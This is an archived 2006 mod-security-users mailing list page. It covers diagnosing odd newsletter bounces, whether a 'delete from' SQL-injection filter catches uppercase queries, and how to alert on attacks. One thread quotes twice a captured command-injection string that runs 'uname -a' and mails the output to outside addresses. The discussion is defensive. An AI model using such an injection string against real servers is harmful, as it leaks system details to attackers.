Re: [mod-security-users] Help with custom rule to protect a script

[Ivan Ristic <ivan.ristic@gm...>]

On 6/20/06, Dick Schiferli <dicks@...> wrote:
> Hi everyone,
>
> I has posted a message related to this before but the fix I implemented did
> not work. So here another try, hope someone can help.
>
> We use a newsletter system on our server called FUMP from http://www.sellwide.com.
> It is a purchased solution. In our htaccess we have form protection and a
> lot more.
>
> This application consists of a file called "responder.cgi" that is embedded
> on our php pages and captures the newsletter signup information. Then there
> is a bounced.cgi that checks the POP3 box for bounced emails (when people
> sign up for fun). There is a bounced email address defined in the
> application where all bounced emails are returned to. The application picks
> them up and processes them.
>
> Now here is what can be seen:
>
> 1. In the bounced email list of the newsletter app there are emails from the
> root domain of my server (with error 5.0.0). Most of them have only one
> letter in front of @, latin and chinese. These are not from people that
> signed up.
> 2. There are no logs in modsecurity of script attacks to the two cgi scripts
> mentioned above.
> 3. Even if I block the root domain name in modsecurity the emails still
> appear (even with secfilter).
> 4. If I block the root domain in the newsletter account, the strange bounced
> emails still appear in the bounced list.
> 5. We're not seeing that any spam emails are sent from our server.
>
> I'd like to find out how this can happen and how to prevent it (assuming it
> is harmful). I've informed the company of this application too. Does anyone
> have an idea where and how to look?

I suspect the email field in the submitted form is an incomplete email
address (e.g. "ivanr"). When an attempt is made to send an email to
such address (on Unix) the mail server will assume you are trying to
send to (from) the local user, in which case it will append the
default domain name. That would explain why the rule isn't working. To
confirm or deny this you'd need to look at the audit log entry, find
the parameter that is support to transport the email address and
determine if there's a complete email address there or not. Let us
know.

-- 
Ivan Ristic, Technical Director
Thinking Stone, http://www.thinkingstone.com
ModSecurity: Open source Web Application Firewall

[mod-security-users] Help with custom rule to protect a script

[Dick Schiferli <dicks@sc...>]

Hi everyone,

I has posted a message related to this before but the fix I implemented did 
not work. So here another try, hope someone can help.

We use a newsletter system on our server called FUMP from http://www.sellwide.com. 
It is a purchased solution. In our htaccess we have form protection and a 
lot more.

This application consists of a file called "responder.cgi" that is embedded 
on our php pages and captures the newsletter signup information. Then there 
is a bounced.cgi that checks the POP3 box for bounced emails (when people 
sign up for fun). There is a bounced email address defined in the 
application where all bounced emails are returned to. The application picks 
them up and processes them.

Now here is what can be seen:

1. In the bounced email list of the newsletter app there are emails from the 
root domain of my server (with error 5.0.0). Most of them have only one 
letter in front of @, latin and chinese. These are not from people that 
signed up.
2. There are no logs in modsecurity of script attacks to the two cgi scripts 
mentioned above.
3. Even if I block the root domain name in modsecurity the emails still 
appear (even with secfilter).
4. If I block the root domain in the newsletter account, the strange bounced 
emails still appear in the bounced list.
5. We're not seeing that any spam emails are sent from our server.

I'd like to find out how this can happen and how to prevent it (assuming it 
is harmful). I've informed the company of this application too. Does anyone 
have an idea where and how to look?

Thanks

Dick 

[mod-security-users] Rules and cases

[Bram Biesbrouck <b@be...>]

Hi all,

I was wondering if the following rule:
	SecFilterSelective ARGS "delete[[:space:]]+from"
also triggers when SQL-injection is performed with the SQL-query in uppercase 
(DELETE FROM table)?
If not, perhaps the modsecurity-general.conf, etc rules should be updated?

Bram

Re: [mod-security-users] alert some security overseaer ?

[Ryan Barnett <rcbarnett@gm...>]

For alerting purposes, I use CGI scripts.  In my modsecurity default action
directive, I specify a 403 Forbidden status code.  I then use the Apache
ErrorDocument directive to point to a CGI script.  The CGI script will
present the client with an error message webpage and then send an email to
the security folks.  The email contains a CGI ENV dump of all of the session
tokens (same output as the printenv cgi script).  So essentially, the email
that I receive a snapshot of the attacker's request ENV.

I also add in some weblinks to helpful public websites for tracking down the
client's location/whois info, etc...

-- 
Ryan C. Barnett
Web Application Security Consortium (WASC) Member
CIS Apache Benchmark Project Lead
SANS Instructor, GCIA, GCFA, GCIH, GSNA, GCUX, GSEC
Author: Preventing Web Attacks with Apache


On 6/20/06, Brent Clark <bclark@...> wrote:
>
> Hey all
>
> Using the brilliant mod_security, I came across a string with the
> following in.
>
> mail%20-s%20uname_i2_217.199.186.118%20kkparole@...;uname%20-
> a%20|%20mail%20-s%20uname_i2_217.199.186.118%20michaelroul@...;
>
> My questions is, what can be done to alert some security overseaer and
> help stop cyber crime.
>
> Kind Regards
> Brent Clark
>
>
> _______________________________________________
> mod-security-users mailing list
> mod-security-users@...
> https://lists.sourceforge.net/lists/listinfo/mod-security-users
>

[mod-security-users] alert some security overseaer ?

[Brent Clark <bclark@ec...>]

Hey all

Using the brilliant mod_security, I came across a string with the following in.

mail%20-s%20uname_i2_217.199.186.118%20kkparole@...;uname%20-a%20|%20mail%20-s%20uname_i2_217.199.186.118%20michaelroul@...;

My questions is, what can be done to alert some security overseaer and help stop cyber crime.

Kind Regards
Brent Clark